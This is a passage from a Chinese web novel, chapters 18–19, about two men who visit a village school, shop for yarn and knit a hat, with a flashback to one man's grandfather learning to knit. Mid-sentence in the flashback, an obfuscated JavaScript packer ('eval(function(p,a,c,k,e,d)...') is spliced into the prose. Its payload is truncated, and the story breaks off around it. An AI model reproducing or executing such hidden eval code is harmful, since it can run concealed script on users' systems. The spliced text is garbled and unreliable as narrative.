后面一节课,齐穗要去上别的文化课了,他不肯走,还是上课铃响之后,凛冬把他送到其他教室的。凛冬承认自己偏心齐穗,但那是生活上,上课时倒是对所有孩子一视同仁,同等用心。接连三节课,上完就快傍晚了,还剩下十来分钟时,凛冬发现后门被人打开,一大一小两个身影鬼鬼祟祟溜了进来,正是韩渠和齐穗。 韩渠的个头大得和桌椅格格不入,齐穗拉着他坐到最后一排的空位置上,还将自己的书本推到他面前,指了指讲台,让他认真听课。 韩渠一抬头,就和凛冬的视线对个正好。韩渠端起书本遮住脸,和读书时坐在最后一排吃零食、睡觉的男生没有区别。凛冬忍俊不禁,清清嗓子,继续最后一点课程。 “哥哥,冬冬哥是不是教得很好?”齐穗头一回在上课时开小差说话。 “嘘,他看到你说话,要拿粉笔头丢你。”韩渠压低声音道。 齐穗很惊讶,“不可能!冬冬哥为什么要丢粉笔头?” 被小孩充满童真的眼睛盯着,韩渠“噢”了声,刚才他条件反射带入自己小时候了,上课捣蛋,可不就得挨老师的粉笔头? 但凛冬,是不一样的。 “冬冬哥很爱惜东西的,也很好看。”齐穗三句不离他冬冬哥的长相,韩渠戳了下他的鼻尖,“你好肤浅。” 齐穗还听不懂这么复杂的词语,发现凛冬看过来了,连忙坐好。 下午的课全部结束,凛冬在孩子们的挽留声中承诺很快会再来。齐穗得到主任允许,送凛冬和韩渠到学堂大门口。他中午洗过脸,灰不溜秋的衣服也换掉了,戴着妖艳帽子,很舍不得两个哥哥。 “哥哥,冬冬哥怎么没有帽子?”齐穗突然说。 凛冬和韩渠互相看了一眼,韩渠还没开口,齐穗就把自己的帽子摘了下来,跳着要往凛冬头上戴。凛冬抱起他,他很宝贝地给凛冬戴帽子。但小孩子的帽子大人哪里合适,再说这颜色,即便是韩渠织的,凛冬还是很嫌。 “冬冬哥也有。”韩渠说着,将帽子重新给齐穗戴上。 “我也有?” “真的?” 凛冬和齐穗同时道。 “对啊,冬冬哥怎么能没有?”哄完小孩儿,上车时韩渠侧过身对凛冬道:“回头给你织一顶,样式你挑,包满意的。” 19.第 19 章 19 纱雨镇的人喜欢在傍晚赶集,结束一天的工作,买点家用品,或是喜欢的小物件儿犒劳自己。凛冬和韩渠下山回到镇上,经过一个集市,韩渠张望了下,将车停在路边,“走,买线去。” 凛冬惊讶,“这就买啊?” “说好的事,趁热打铁。”韩渠都绕到副驾了,凛冬还没从车里出来。韩渠支住车门,扶着凛冬的小臂,“慢点。” 凛冬今天用脚过多,左脚有些隐隐作痛,出来时眉心皱了皱,却笑道:“你要趁热打铁,却要我慢点。” “提醒我了,要不你就在这儿等着,我自己进去选。”韩渠说:“你少走动,我等下给你开视频。” 凛冬摇头,“这点路没什么,我……”他把话咽回去,只是低头笑了笑。 但韩渠看出他想说什么了,“这个人在想,要是他不跟着,姓韩的肯定要给他织一顶和齐穗一样的妖艳帽子。” 凛冬笑道:“说不定更妖艳。” “那叫喜庆、华丽!”韩渠为自己的审美申辩。说着,两人往集市里走去。这时从里往外走的人更多,凛冬被撞了两次,韩渠将他拉到自己身侧,一直没松开抓着他小臂的手。凛冬几次垂眼看被拉住的地方,压着唇角,眼睛却不自觉地弯起来。 M国南边手工编织业发达,集市里出售原材料的摊位也很多,凛冬虽然待在纱雨镇的时间比韩渠长,但没有逛过这些摊子,对琳琅满目的线一窍不通。韩渠倒是跟个本地人似的,这里摸摸,那里瞧瞧,几种线拿起来对比颜色、质量。小贩一看就知道他是懂行的,不敢乱介绍,拿出织物花样本,给他推荐样式。 “这两种颜色怎么样?”韩渠拿着两捆线,让凛冬来看。 凛冬一瞧,顿时血压升高,那是一团紫色,一团粉色!紫色配粉色,像什么样子?齐穗的虽然妖艳,但那是正红色打底,突出一个庄重,他这…… “韩队。”凛冬抱了个拳,“你饶了我吧!” “不好看吗?这俩配在一起很高级啊。”韩渠还就认定了这两种色,“我跟你说,这个紫,它不是一般的紫,它比较灰,这个粉呢,很淡,起个点缀作用,现在可能看着不搭,但花纹出来后,会很衬你。” 凛冬起初满脑子“不听不听”,可听完韩渠最后一句话,他忽然被吸引住了,“为什么衬我?” 韩渠却一下子没答上来,“不好形容,就我第一眼看到这两个色,就想象出它们混合在一起的样子,觉得很适合你戴。” 凛冬顿时被说服了,他还是没接受这奇特的配色,但韩渠说衬他,所以他想看看,自己戴着这顶帽子的样子。 见凛冬露出期待的神情,韩渠愉快地让小贩装上,又挑了点装饰用的线。凛冬有种豁出去了的感觉,不管韩渠给他织出来什么妖魔鬼怪,他戴就是了! 两人都对织帽子兴致勃勃,晚饭就草草解决了,回到住处,韩渠马上找来纸,设计图案。凛冬和白一打完电话,就趴在桌边看。韩渠大笔一挥,纸上出现一道道凌乱的线条。凛冬的眼皮又开始跳了,这画的都是啥? 韩渠的滤镜,悄无声息地崩开裂纹。 “雪花?”凛冬终于在线条中找到一个还算清晰的图案。 “嗯。”韩渠将纸竖起来欣赏,不是很满意,“这雪花不够料峭。” 韩渠这话说得就很是抽象,凛冬觉得他能织出一朵像样的雪花就不错了,至于雪花的气质,是料峭还是可爱,那不是这些粉粉紫紫的线能解决的。 不过雪花……凛冬想,是代表他的名字吗? 对帽子又接受了几分,在韩渠起针的时候,凛冬问:“韩队,你这手艺跟谁学的?” 韩渠手上的动作看着很娴熟轻松,“我小时候穿的毛衣,有很多是老头子给我织的。” “爷爷?”凛冬讶异道:“爷爷还会这个?”从韩渠之前的描述里,他拼凑出老韩的形象,早年是个文化人,后来经商,到死都沉浸在自己的精神世界里,工作上没有受过挫折,生活能力却十分一般。 “本来也不会,但我小时候不懂事,跟他边哭边闹,问他为什么其他同学有妈妈奶奶织的毛衣,我没有?”韩渠笑着挽线,“他就去学了。” 在韩渠还是个小孩儿的年代,羽绒服还算是奢侈品,只有家庭富裕的孩子才穿得起。到了冬天,大部分孩子都是毛衣叠着毛衣,外面穿厚重的棉衣。老韩却给韩渠买了柔软的羽绒服和保暖内衣,不需要毛衣。 同学们羡慕韩渠有羽绒服,体育课大家都脱掉外套,韩渠没有多层毛衣的负担,轻轻松松跑到第一。但韩渠的开心没有持续多久,因为大家的毛衣都很好看,花花绿绿的,男孩的胸口有小熊、老虎、龙,女孩则是粉粉的,有花朵、兔子、公主。 下了体育课,因为热,很多人没有立即穿上外套,凑在一起比谁的毛衣好看,谁的妈妈织得好。韩渠站在人群之外,第一次感到格格不入,自己好像被孤立了。 但他不是躲起来伤心的性子,从小,老韩对他都是有求必应,他相信这次老韩也会满足他的心愿。回到家,他书包都没丢就冲到老韩的书房,“爷爷,我想要毛衣!” 这当然不是什么过分的要求,老韩见他满脸通红,以为他冻着了,立即带他去商场买了三件特别保暖的羊毛毛衣。他当时也很开心,因为毛衣上也有小熊和小老虎,还有一件是绿色的,有一棵圣诞树。第二天一早,他犯了好大的难,在小熊和小老虎之间犹豫不决,差点迟到,跑到学校时热得满头大汗。 他穿得实在是太保暖了,平时一件保暖内衣,一件衬衣,一件羽绒服,就很暖和了,今天加上羊毛毛衣,他感觉毛衣像一团火烤着他。熬到课间操时间,他得意地脱掉羽绒服,站在班级队伍的第一排——他做操做得好,早就被任命为领操。他比任何时候都更加认真,以为操做完之后,大家都会围上来夸他的毛衣。 但是……无事发生。 那一整天,他都没有再穿上羽绒服,一下课就扎进人堆里,盼望有人眼前一亮,大喊“韩渠你的毛衣好帅呀”。下午即将放学,他终于忍不住了,向同桌、前后桌展示毛衣,“我的新毛衣是小老虎噢!” “真的耶!是你妈妈给你织的吗?” “没有我的帅,我的是外婆给我织的!” “我也有一件小老虎,是我奶奶织的!” “韩渠,你的小老虎是谁织的呀?” “我……”韩渠紧紧抓着毛衣,“我的是,爷爷,买的。” “买的啊……”大家很失望,顿时没了兴趣。同桌说:“我妈妈说了,毛衣要家长亲手织的才好呢,外面卖的都是机器织的。” 韩渠垂头丧气回家,飞快脱掉毛衣,“爷爷,我想要毛衣!” 老韩搞不懂他,“昨天买的不合身吗?爷爷带你去换。” 他居然掉了金豆子,“我不要!我要你给我织!” 老韩吹胡子瞪眼,“我怎么给你织?” “我就要!大家都有,只有我没有!”韩渠边哭边嚎。老韩听完他在学校的经历,皱眉沉默下来。他忽然想到自己的妈妈,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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和齐穗分开时,他曾向齐穗承诺,如果还能见面,他会还给齐穗一顶手织帽子。伤愈后,虽然还没有齐穗的消息,他还是想起了这个承诺。M国南部有独特的编织技术,他跟李东池打听,李东池很快给他找了个手工师傅,他和师傅隔着网络交流,师傅惊讶于他底子那么好,一学就会。 “可能就是万变不离其宗吧,有基础,学什么都快。”韩渠开始在紫色中加入粉色的线条,有粗有细,断断续续。在图纸上凛冬还未看出来,此时却很直观了,那是空中的飘雪,明明是很孤单的意象,却因为颜色而奇妙柔和。 凛冬迫不及待想看到帽子织成的样子,催促道:“雪花呢?雪花什么时候出现?” 韩渠转头看了他一眼,却把线和针都放下了,“这么急啊?” 凛冬是很急,“今晚能织好吗?”要不熬个夜吧? 韩渠笑道:“饶了我吧,明天还要去给卢克打工。” 凛冬一想也是,但又确实很想见到成品,轻轻撇了下嘴。 韩渠捕捉到他这不情不愿的表情,“你真的很适合当个万恶的资本家。” “我的员工福利很好的!”凛冬争辩,“大家都得了流感,我送他们去输液,我自己……” 韩渠打断,“你自己送快递,还送到我们治安局来了是吧?” 凛冬想起和韩渠在治安局门口重逢的一幕,摸了摸耳朵。 韩渠歇了会儿手,重新拿起线,“万恶的资本家对小孩子倒是很好,那么忙了,还要去当志愿者。还没问你,学堂那么多小孩儿,怎么和我们齐穗关系那么好?” “什么你们齐穗。”凛冬笑道:“小家伙现在和我比较亲。”